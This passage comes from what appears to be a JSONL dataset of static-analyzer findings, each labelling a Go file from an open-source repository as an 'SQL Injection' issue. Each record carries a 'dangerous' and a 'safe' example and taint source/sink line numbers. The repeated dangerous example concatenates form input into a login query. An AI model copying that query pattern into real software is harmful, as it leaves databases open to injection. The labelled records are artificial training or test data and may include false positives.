{\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to commit badger transaction\")\n\t\t}\n\t\treturn val, swapped, nil\n\tdefault:\n\t\tif err := sqlTx.Rollback(); err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to rollback read-only CmpAndSwap transaction on %s/%s\", bucket, key)\n\t\t}\n\t\treturn val, swapped, err\n\t}\n}\n\nfunc CmpAndSwapACMECertificate(sqlTx *sql.Tx, bucket []byte, key []byte, cert *x509.Certificate, oldValue, newValue, extensionBucket, dnsNameBucket []byte, provisionerName string) ([]byte, bool, error) {\n\tvar current []byte\n\terr := sqlTx.QueryRow(getQry(bucket), key).Scan(¤t)\n\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn nil, false, err\n\t}\n\tif !bytes.Equal(current, oldValue) {\n\t\treturn current, false, nil\n\t}\n\n\tif _, err = sqlTx.Exec(insertUpdateX509CertificateQry(bucket), key, newValue, cert.NotBefore, cert.NotAfter, strings.Join(cert.Subject.Province, \" \"), strings.Join(cert.Subject.Locality, \" \"), strings.Join(cert.Subject.Country, \" \"), strings.Join(cert.Subject.Organization, \" \"), strings.Join(cert.Subject.OrganizationalUnit, \" \"), cert.Subject.CommonName, cert.Issuer.String(), provisionerName, newValue, cert.NotBefore, cert.NotAfter, strings.Join(cert.Subject.Province, \" \"), strings.Join(cert.Subject.Locality, \" \"), strings.Join(cert.Subject.Country, \" \"), strings.Join(cert.Subject.Organization, \" \"), strings.Join(cert.Subject.OrganizationalUnit, \" \"), cert.Subject.CommonName, cert.Issuer.String(), provisionerName); err != nil {\n\t\treturn nil, false, errors.Wrapf(err, \"failed to set %s/%s\", bucket, key)\n\t}\n\tfor _, extension := range ExtensiontoList(cert.Extensions) {\n\t\t_, err := sqlTx.Exec(insertX509ExtensionsCertificateQry(extensionBucket), key, extension[\"value\"])\n\t\tif err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to set %s/%s\", extensionBucket, key)\n\t\t}\n\t}\n\tfor _, san := range SansToList((cert)) {\n\t\t_, err := sqlTx.Exec(insertX509SansCertificateQry(dnsNameBucket), key, san[\"value\"], san[\"type\"])\n\t\tif err != nil {\n\t\t\treturn nil, false, errors.Wrapf(err, \"failed to set %s/%s\", dnsNameBucket, key)\n\t\t}\n\t}\n\n\treturn newValue, true, nil\n}\n\nfunc cmpAndSwap(sqlTx *sql.Tx, bucket, key, oldValue, newValue []byte) ([]byte, bool, error) {\n\tvar current []byte\n\terr := sqlTx.QueryRow(getQry(bucket), key).Scan(¤t)\n\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn nil, false, err\n\t}\n\tif !bytes.Equal(current, oldValue) {\n\t\treturn current, false, nil\n\t}\n\n\tif _, err = sqlTx.Exec(insertUpdateQry(bucket), key, newValue, newValue); err != nil {\n\t\treturn nil, false, errors.Wrapf(err, \"failed to set %s/%s\", bucket, key)\n\t}\n\treturn newValue, true, nil\n}\n\n// Update performs multiple commands on one read-write transaction.\nfunc (db *DB) Update(tx *sqlDB.Tx) error {\n\tsqlTx, err := db.db.Begin()\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\trollback := func(err error) error {\n\t\tif rollbackErr := sqlTx.Rollback(); rollbackErr != nil {\n\t\t\treturn errors.Wrap(err, \"UPDATE failed, unable to rollback transaction\")\n\t\t}\n\t\treturn errors.Wrap(err, \"UPDATE failed\")\n\t}\n\tfor _, q := range tx.Operations {\n\t\t// create or delete buckets\n\t\tswitch q.Cmd {\n\t\tcase sqlDB.CreateTable:\n\t\t\t_, err := sqlTx.Exec(createTableQry(q.Bucket))\n\t\t\tif err != nil {\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to create table %s\", q.Bucket))\n\t\t\t}\n\t\tcase sqlDB.DeleteTable:\n\t\t\t_, err := sqlTx.Exec(deleteTableQry(q.Bucket))\n\t\t\tif err != nil {\n\t\t\t\testr := err.Error()\n\t\t\t\tif strings.HasPrefix(err.Error(), \"Error 1051:\") {\n\t\t\t\t\treturn errors.Wrapf(sqlDB.ErrNotFound, estr)\n\t\t\t\t}\n\t\t\t\treturn errors.Wrapf(err, \"failed to delete table %s\", q.Bucket)\n\t\t\t}\n\t\tcase sqlDB.Get:\n\t\t\tvar val string\n\t\t\terr := sqlTx.QueryRow(getQry(q.Bucket), q.Key).Scan(&val)\n\t\t\tswitch {\n\t\t\tcase err == sql.ErrNoRows:\n\t\t\t\treturn rollback(errors.Wrapf(sqlDB.ErrNotFound, \"%s/%s not found\", q.Bucket, q.Key))\n\t\t\tcase err != nil:\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to get %s/%s\", q.Bucket, q.Key))\n\t\t\tdefault:\n\t\t\t\tq.Result = []byte(val)\n\t\t\t}\n\t\tcase sqlDB.Set:\n\t\t\tif _, err = sqlTx.Exec(insertUpdateQry(q.Bucket), q.Key, q.Value, q.Value); err != nil {\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to set %s/%s\", q.Bucket, q.Key))\n\t\t\t}\n\t\tcase sqlDB.SetX509Certificate:\n\t\t\tif _, err = sqlTx.Exec(insertUpdateX509CertificateQry(q.Bucket), q.Key, q.Value, q.Value); err != nil {\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to set %s/%s\", q.Bucket, q.Key))\n\t\t\t}\n\t\tcase sqlDB.Delete:\n\t\t\tif _, err = sqlTx.Exec(delQry(q.Bucket), q.Key); err != nil {\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to delete %s/%s\", q.Bucket, q.Key))\n\t\t\t}\n\t\tcase sqlDB.CmpAndSwap:\n\t\t\tq.Result, q.Swapped, err = cmpAndSwap(sqlTx, q.Bucket, q.Key, q.CmpValue, q.Value)\n\t\t\tif err != nil {\n\t\t\t\treturn rollback(errors.Wrapf(err, \"failed to load-or-store %s/%s\", q.Bucket, q.Key))\n\t\t\t}\n\t\tcase sqlDB.CmpOrRollback:\n\t\t\treturn sqlDB.ErrOpNotSupported\n\t\tdefault:\n\t\t\treturn sqlDB.ErrOpNotSupported\n\t\t}\n\t}\n\n\tif err = errors.WithStack(sqlTx.Commit()); err != nil {\n\t\treturn rollback(err)\n\t}\n\treturn nil\n}\n\n// CreateTable creates a table in the database.\nfunc (db *DB) CreateTable(bucket []byte) error {\n\t_, err := db.db.Exec(createTableQry(bucket))\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create table %s\", bucket)\n\t}\n\treturn nil\n}\n\n// CreateX509CertificateTable creates a table in the database, and also handles upgrading the schema of the table if it doesn't match this new schema (to support users who upgrade to this version.)\nfunc (db *DB) CreateX509CertificateTable(bucket []byte) error {\n\trows, colErr := db.db.Query(fmt.Sprintf(\"SELECT * FROM `%s`\", bucket))\n\n\t//If it doesn't exist, we can create it the right way the first time.\n\tif colErr != nil {\n\t\tif strings.HasPrefix(colErr.Error(), \"Error 1146:\") { //Error 1146 means it doesn't exist. So we create it using the new schema.\n\t\t\t_, err := db.db.Exec(createX509CertsTableQry(bucket))\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"failed to create table %s\", bucket)\n\n\t\t\t}\n\t\t} else { //Some other error occurred.\n\t\t\treturn errors.Wrapf(colErr, \"failed to get length of columns %s\", bucket)\n\t\t}\n\n\t} else { //The table exists, we need to check if our columns are present.\n\t\tcolumnsList, colListErr := rows.Columns()\n\t\tif colListErr != nil {\n\t\t\treturn errors.Wrapf(colErr, \"failed to get length of columns %s\", bucket)\n\t\t}\n\n\t\t// if len(rows.Columns()) == 2 we are using the old x509_certs schema, and we need to alter the table schema.\n\t\tif len(columnsList) == 2 {\n\t\t\t_, alterErr := db.db.Exec(alterX509CertsTableQry(bucket))\n\t\t\tif alterErr != nil {\n\t\t\t\treturn errors.Wrapf(colErr, \"failed to alter table to new schema %s\", bucket)\n\t\t\t}\n\t\t}\n\t\tif len(columnsList) == 11 {\n\t\t\t_, alterErr := db.db.Exec(alterX509CertsTableQryV3(bucket))\n\t\t\tif alterErr != nil {\n\t\t\t\treturn errors.Wrapf(colErr, \"failed to alter table to new schema V3 %s\", bucket)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// CreateX509CertificateSansTable creates a table to store the sans for certificates in a table so we can establish the one to many relationship of a certificate to SANS. This is needed so we can search by Sans as well.\nfunc (db *DB) CreateX509CertificateSansTable(bucket, constraint, reference []byte) error {\n\t_, err := db.db.Exec(createX509CertsSANSTableQry(bucket, constraint, reference))\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create table %s\", bucket)\n\n\t}\n\treturn nil\n}\n\n// CreateX509CertificateExtensionsTable creates a table to store the sans for certificates in a table so we can establish the one to many relationship of a certificate to it's extensions. This is needed so we can search by Extensions as well.\nfunc (db *DB) CreateX509CertificateExtensionsTable(bucket, constraint, reference []byte) error {\n\t_, err := db.db.Exec(createX509CertsExtensionsTableQry(bucket, constraint, reference))\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"failed to create table %s\", bucket)\n\n\t}\n\treturn nil\n}\n\n// DeleteTable deletes a table in the database.\nfunc (db *DB) DeleteTable(bucket []byte) error {\n\t_, err := db.db.Exec(deleteTableQry(bucket))\n\tif err != nil {\n\t\testr := err.Error()\n\t\tif strings.HasPrefix(err.Error(), \"Error 1051:\") {\n\t\t\treturn errors.Wrapf(sqlDB.ErrNotFound, estr)\n\t\t}\n\t\treturn errors.Wrapf(err, \"failed to delete table %s\", bucket)\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 257, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 257, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "94c9a060754a0949278b2f291b8510303765f99f56548d84b25c8359e1fab2de", "license": {"spdx": ["Apache-2.0"], "repo": "ishank838/immudb", "path": "pkg/stdlib/uri_test.go", "repo_head_hexsha": "c28a0741c8d621f19ccd135ef1e50854a2129556", "stack_hexsha": "2b055bcad8ac135e56157676ae2b29137ec9b83f", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 126, "entireCode": "/*\nCopyright 2021 CodeNotary, Inc. All rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stdlib\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n)\n\nconst immuServerRequired = \"Please launch an immudb server at port %d to run this test.\"\n\nfunc TestDriver_Open(t *testing.T) {\n\td := immuDriver\n\tconn, err := d.Open(\"immudb://immudb:immudb@127.0.0.1:3324/defaultdb\")\n\trequire.Errorf(t, err, immuServerRequired)\n\trequire.Nil(t, conn)\n}\nfunc TestParseConfig(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfig_InsecureVerify(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=insecure-verify\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"immudb\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfig_Require(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=require\"\n\tris, err := ParseConfig(connString)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, ris)\n\trequire.Equal(t, \"immudb\", ris.Username)\n\trequire.Equal(t, \"immudb\", ris.Password)\n\trequire.Equal(t, \"defaultdb\", ris.Database)\n\trequire.Equal(t, \"127.0.0.1\", ris.Address)\n\trequire.Equal(t, 3324, ris.Port)\n}\n\nfunc TestParseConfigErrs(t *testing.T) {\n\tconnString := \"immudb://immudb:immudb@127.0.0.1:aaa/defaultdb\"\n\t_, err := ParseConfig(connString)\n\trequire.Error(t, err)\n\tconnString = \"AAAA://immudb:immudb@127.0.0.1:123/defaultdb\"\n\t_, err = ParseConfig(connString)\n\trequire.Error(t, err)\n\tconnString = \"AAAA://immudb:immudb@127.0.0.1:123/defaultdb?sslmode=invalid\"\n\t_, err = ParseConfig(connString)\n\trequire.Error(t, err)\n}\n\nfunc TestDriver_OpenSSLPrefer(t *testing.T) {\n\t_, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\":%d\", client.DefaultOptions().Port), 1*time.Second)\n\tif err != nil {\n\t\tt.Skip(fmt.Sprintf(immuServerRequired, client.DefaultOptions().Port))\n\t}\n\td := immuDriver\n\tconn, err := d.Open(\"immudb://immudb:immudb@127.0.0.1:3322/defaultdb\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc TestDriver_OpenSSLDisable(t *testing.T) {\n\t_, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\":%d\", client.DefaultOptions().Port), 1*time.Second)\n\tif err != nil {\n\t\tt.Skip(fmt.Sprintf(immuServerRequired, client.DefaultOptions().Port))\n\t}\n\td := immuDriver\n\tconn, err := d.Open(\"immudb://immudb:immudb@127.0.0.1:3322/defaultdb?sslmode=disable\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc TestDriver_OpenSSLRequire(t *testing.T) {\n\t_, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\":%d\", client.DefaultOptions().Port), 1*time.Second)\n\tif err != nil {\n\t\tt.Skip(fmt.Sprintf(immuServerRequired, client.DefaultOptions().Port))\n\t}\n\td := immuDriver\n\tconn, err := d.Open(\"immudb://immudb:immudb@127.0.0.1:3322/defaultdb?sslmode=require\")\n\trequire.NoError(t, err)\n\trequire.NotNil(t, conn)\n}\n\nfunc Test_SQLOpen(t *testing.T) {\n\t_, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\":%d\", client.DefaultOptions().Port), 1*time.Second)\n\tif err != nil {\n\t\tt.Skip(fmt.Sprintf(immuServerRequired, client.DefaultOptions().Port))\n\t}\n\tdb, err := sql.Open(\"immudb\", \"immudb://immudb:immudb@127.0.0.1:3322/defaultdb?sslmode=disable\")\n\trequire.NoError(t, err)\n\t_, err = db.ExecContext(context.TODO(), fmt.Sprintf(\"CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)\", \"myTable\"))\n\trequire.NoError(t, err)\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 126, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 126, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "d0606f5223e22270a2a29c8f87a45ce22471bfdae47c305f5c4b5943cba1a083", "license": {"spdx": ["Apache-2.0"], "repo": "mkosiarc/clair", "path": "database/pgsql/testutil.go", "repo_head_hexsha": "73bc2bc36b5468397ab148fd9416e7f890b2315e", "stack_hexsha": "abfb743a3e741e252557d76def3610c4f06863b8", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 295, "entireCode": "// Copyright 2018 clair authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage pgsql\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/remind101/migrate\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/coreos/clair/database\"\n\t\"github.com/coreos/clair/database/pgsql/migrations\"\n\t\"github.com/coreos/clair/pkg/pagination\"\n)\n\n// int keys must be the consistent with the database ID.\nvar (\n\trealFeatures = map[int]database.Feature{\n\t\t1: {\"ourchat\", \"0.5\", \"dpkg\", \"source\"},\n\t\t2: {\"openssl\", \"1.0\", \"dpkg\", \"source\"},\n\t\t3: {\"openssl\", \"2.0\", \"dpkg\", \"source\"},\n\t\t4: {\"fake\", \"2.0\", \"rpm\", \"source\"},\n\t\t5: {\"mount\", \"2.31.1-0.4ubuntu3.1\", \"dpkg\", \"binary\"},\n\t}\n\n\trealNamespaces = map[int]database.Namespace{\n\t\t1: {\"debian:7\", \"dpkg\"},\n\t\t2: {\"debian:8\", \"dpkg\"},\n\t\t3: {\"fake:1.0\", \"rpm\"},\n\t}\n\n\trealNamespacedFeatures = map[int]database.NamespacedFeature{\n\t\t1: {realFeatures[1], realNamespaces[1]},\n\t\t2: {realFeatures[2], realNamespaces[1]},\n\t\t3: {realFeatures[2], realNamespaces[2]},\n\t\t4: {realFeatures[3], realNamespaces[1]},\n\t}\n\n\trealDetectors = map[int]database.Detector{\n\t\t1: database.NewNamespaceDetector(\"os-release\", \"1.0\"),\n\t\t2: database.NewFeatureDetector(\"dpkg\", \"1.0\"),\n\t\t3: database.NewFeatureDetector(\"rpm\", \"1.0\"),\n\t\t4: database.NewNamespaceDetector(\"apt-sources\", \"1.0\"),\n\t}\n\n\trealLayers = map[int]database.Layer{\n\t\t2: {\n\t\t\tHash: \"layer-1\",\n\t\t\tBy: []database.Detector{realDetectors[1], realDetectors[2]},\n\t\t\tFeatures: []database.LayerFeature{\n\t\t\t\t{realFeatures[1], realDetectors[2]},\n\t\t\t\t{realFeatures[2], realDetectors[2]},\n\t\t\t},\n\t\t\tNamespaces: []database.LayerNamespace{\n\t\t\t\t{realNamespaces[1], realDetectors[1]},\n\t\t\t},\n\t\t},\n\t\t6: {\n\t\t\tHash: \"layer-4\",\n\t\t\tBy: []database.Detector{realDetectors[1], realDetectors[2], realDetectors[3], realDetectors[4]},\n\t\t\tFeatures: []database.LayerFeature{\n\t\t\t\t{realFeatures[4], realDetectors[3]},\n\t\t\t\t{realFeatures[3], realDetectors[2]},\n\t\t\t},\n\t\t\tNamespaces: []database.LayerNamespace{\n\t\t\t\t{realNamespaces[1], realDetectors[1]},\n\t\t\t\t{realNamespaces[3], realDetectors[4]},\n\t\t\t},\n\t\t},\n\t}\n\n\trealAncestries = map[int]database.Ancestry{\n\t\t2: {\n\t\t\tName: \"ancestry-2\",\n\t\t\tBy: []database.Detector{realDetectors[2], realDetectors[1]},\n\t\t\tLayers: []database.AncestryLayer{\n\t\t\t\t{\n\t\t\t\t\t\"layer-0\",\n\t\t\t\t\t[]database.AncestryFeature{},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"layer-1\",\n\t\t\t\t\t[]database.AncestryFeature{},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"layer-2\",\n\t\t\t\t\t[]database.AncestryFeature{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trealNamespacedFeatures[1],\n\t\t\t\t\t\t\trealDetectors[2],\n\t\t\t\t\t\t\trealDetectors[1],\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"layer-3b\",\n\t\t\t\t\t[]database.AncestryFeature{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trealNamespacedFeatures[3],\n\t\t\t\t\t\t\trealDetectors[2],\n\t\t\t\t\t\t\trealDetectors[1],\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\trealVulnerability = map[int]database.Vulnerability{\n\t\t1: {\n\t\t\tName: \"CVE-OPENSSL-1-DEB7\",\n\t\t\tNamespace: realNamespaces[1],\n\t\t\tDescription: \"A vulnerability affecting OpenSSL < 2.0 on Debian 7.0\",\n\t\t\tLink: \"http://google.com/#q=CVE-OPENSSL-1-DEB7\",\n\t\t\tSeverity: database.HighSeverity,\n\t\t},\n\t\t2: {\n\t\t\tName: \"CVE-NOPE\",\n\t\t\tNamespace: realNamespaces[1],\n\t\t\tDescription: \"A vulnerability affecting nothing\",\n\t\t\tSeverity: database.UnknownSeverity,\n\t\t},\n\t}\n\n\trealNotification = map[int]database.VulnerabilityNotification{\n\t\t1: {\n\t\t\tNotificationHook: database.NotificationHook{\n\t\t\t\tName: \"test\",\n\t\t\t},\n\t\t\tOld: takeVulnerabilityPointerFromMap(realVulnerability, 2),\n\t\t\tNew: takeVulnerabilityPointerFromMap(realVulnerability, 1),\n\t\t},\n\t}\n\n\tfakeFeatures = map[int]database.Feature{\n\t\t1: {\n\t\t\tName: \"ourchat\",\n\t\t\tVersion: \"0.6\",\n\t\t\tVersionFormat: \"dpkg\",\n\t\t\tType: \"source\",\n\t\t},\n\t}\n\n\tfakeNamespaces = map[int]database.Namespace{\n\t\t1: {\"green hat\", \"rpm\"},\n\t}\n\tfakeNamespacedFeatures = map[int]database.NamespacedFeature{\n\t\t1: {\n\t\t\tFeature: fakeFeatures[0],\n\t\t\tNamespace: realNamespaces[0],\n\t\t},\n\t}\n\n\tfakeDetector = map[int]database.Detector{\n\t\t1: {\n\t\t\tName: \"fake\",\n\t\t\tVersion: \"1.0\",\n\t\t\tDType: database.FeatureDetectorType,\n\t\t},\n\t\t2: {\n\t\t\tName: \"fake2\",\n\t\t\tVersion: \"2.0\",\n\t\t\tDType: database.NamespaceDetectorType,\n\t\t},\n\t}\n)\n\nfunc takeVulnerabilityPointerFromMap(m map[int]database.Vulnerability, id int) *database.Vulnerability {\n\tx := m[id]\n\treturn &x\n}\n\nfunc takeAncestryPointerFromMap(m map[int]database.Ancestry, id int) *database.Ancestry {\n\tx := m[id]\n\treturn &x\n}\n\nfunc takeLayerPointerFromMap(m map[int]database.Layer, id int) *database.Layer {\n\tx := m[id]\n\treturn &x\n}\n\nfunc listNamespaces(t *testing.T, tx *pgSession) []database.Namespace {\n\trows, err := tx.Query(\"SELECT name, version_format FROM namespace\")\n\tif err != nil {\n\t\tt.FailNow()\n\t}\n\tdefer rows.Close()\n\n\tnamespaces := []database.Namespace{}\n\tfor rows.Next() {\n\t\tvar ns database.Namespace\n\t\terr := rows.Scan(&ns.Name, &ns.VersionFormat)\n\t\tif err != nil {\n\t\t\tt.FailNow()\n\t\t}\n\t\tnamespaces = append(namespaces, ns)\n\t}\n\n\treturn namespaces\n}\n\nfunc assertVulnerabilityNotificationWithVulnerableEqual(t *testing.T, key pagination.Key, expected, actual *database.VulnerabilityNotificationWithVulnerable) bool {\n\tif expected == actual {\n\t\treturn true\n\t}\n\n\tif expected == nil || actual == nil {\n\t\treturn assert.Equal(t, expected, actual)\n\t}\n\n\treturn assert.Equal(t, expected.NotificationHook, actual.NotificationHook) &&\n\t\tAssertPagedVulnerableAncestriesEqual(t, key, expected.Old, actual.Old) &&\n\t\tAssertPagedVulnerableAncestriesEqual(t, key, expected.New, actual.New)\n}\n\nfunc AssertPagedVulnerableAncestriesEqual(t *testing.T, key pagination.Key, expected, actual *database.PagedVulnerableAncestries) bool {\n\tif expected == actual {\n\t\treturn true\n\t}\n\n\tif expected == nil || actual == nil {\n\t\treturn assert.Equal(t, expected, actual)\n\t}\n\n\treturn database.AssertVulnerabilityEqual(t, &expected.Vulnerability, &actual.Vulnerability) &&\n\t\tassert.Equal(t, expected.Limit, actual.Limit) &&\n\t\tassert.Equal(t, mustUnmarshalToken(key, expected.Current), mustUnmarshalToken(key, actual.Current)) &&\n\t\tassert.Equal(t, mustUnmarshalToken(key, expected.Next), mustUnmarshalToken(key, actual.Next)) &&\n\t\tassert.Equal(t, expected.End, actual.End) &&\n\t\tdatabase.AssertIntStringMapEqual(t, expected.Affected, actual.Affected)\n}\n\nfunc mustUnmarshalToken(key pagination.Key, token pagination.Token) Page {\n\tif token == pagination.FirstPageToken {\n\t\treturn Page{}\n\t}\n\n\tp := Page{}\n\tif err := key.UnmarshalToken(token, &p); err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn p\n}\n\nfunc mustMarshalToken(key pagination.Key, v interface{}) pagination.Token {\n\ttoken, err := key.MarshalToken(v)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn token\n}\n\nvar userDBCount = `SELECT count(datname) FROM pg_database WHERE datistemplate = FALSE AND datname != 'postgres';`\n\nfunc createAndConnectTestDB(t *testing.T, testName string) (*sql.DB, func()) {\n\turi := \"postgres@127.0.0.1:5432\"\n\tconnectionTemplate := \"postgresql://%s?sslmode=disable\"\n\tif envURI := os.Getenv(\"CLAIR_TEST_PGSQL\"); envURI != \"\" {\n\t\turi = envURI\n\t}\n\n\tdb, err := sql.Open(\"postgres\", fmt.Sprintf(connectionTemplate, uri))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttestName = strings.ToLower(testName)\n\tdbName := fmt.Sprintf(\"test_%s_%s\", testName, time.Now().UTC().Format(\"2006_01_02_15_04_05\"))\n\tt.Logf(\"creating temporary database name = %s\", dbName)\n\t_, err = db.Exec(\"CREATE DATABASE \" + dbName)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttestDB, err := sql.Open(\"postgres\", fmt.Sprintf(connectionTemplate, uri+\"/\"+dbName))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn testDB, func() {\n\t\tt.Logf(\"cleaning up temporary database %s\", dbName)\n\t\tdefer db.Close()\n\t\tif err := testDB.Close(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif _, err := db.Exec(`DROP DATABASE ` + dbName); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// ensure the 